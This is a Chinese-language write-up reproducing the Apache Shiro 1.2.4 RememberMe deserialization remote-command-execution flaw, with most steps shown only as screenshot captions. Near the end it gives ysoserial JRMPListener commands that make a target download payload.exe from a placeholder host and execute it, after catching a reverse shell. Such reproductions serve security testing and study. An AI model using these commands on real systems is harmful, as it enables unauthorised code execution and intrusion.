Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

影响版本

Apache Shiro <= 1.2.4

默认shiro的commons-collections版本为3.2.1,
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第1张图片

环境搭建

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第2张图片
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第3张图片

漏洞测试

  1. 抓包测试

查看返回包里setcookie有rememberme的字样
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第4张图片
继续测试
首先最简单的测试方法是用dnslog,看看是否有回显。
利用密钥生成rememberMe

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第5张图片

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第6张图片

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第7张图片

dns发现有回显,说明存在反序列化漏洞。

漏洞复现

1.监听回弹shell
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第8张图片

2.生成key
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第9张图片
3.使用ysoserial中JRMP监听模块,监听9920端口
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第10张图片

4.重放Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第11张图片

5.收到返回shell
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第12张图片

linux的复现相对简单,window由于没有命令直接返回shell,可以结合第三方工具返回shell。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'
ps:
1.windows 可以用这个,别忘了更改路径
2.网上git有漏洞扫描器:
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第13张图片
回显
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现_第14张图片

你可能感兴趣的:(RCE)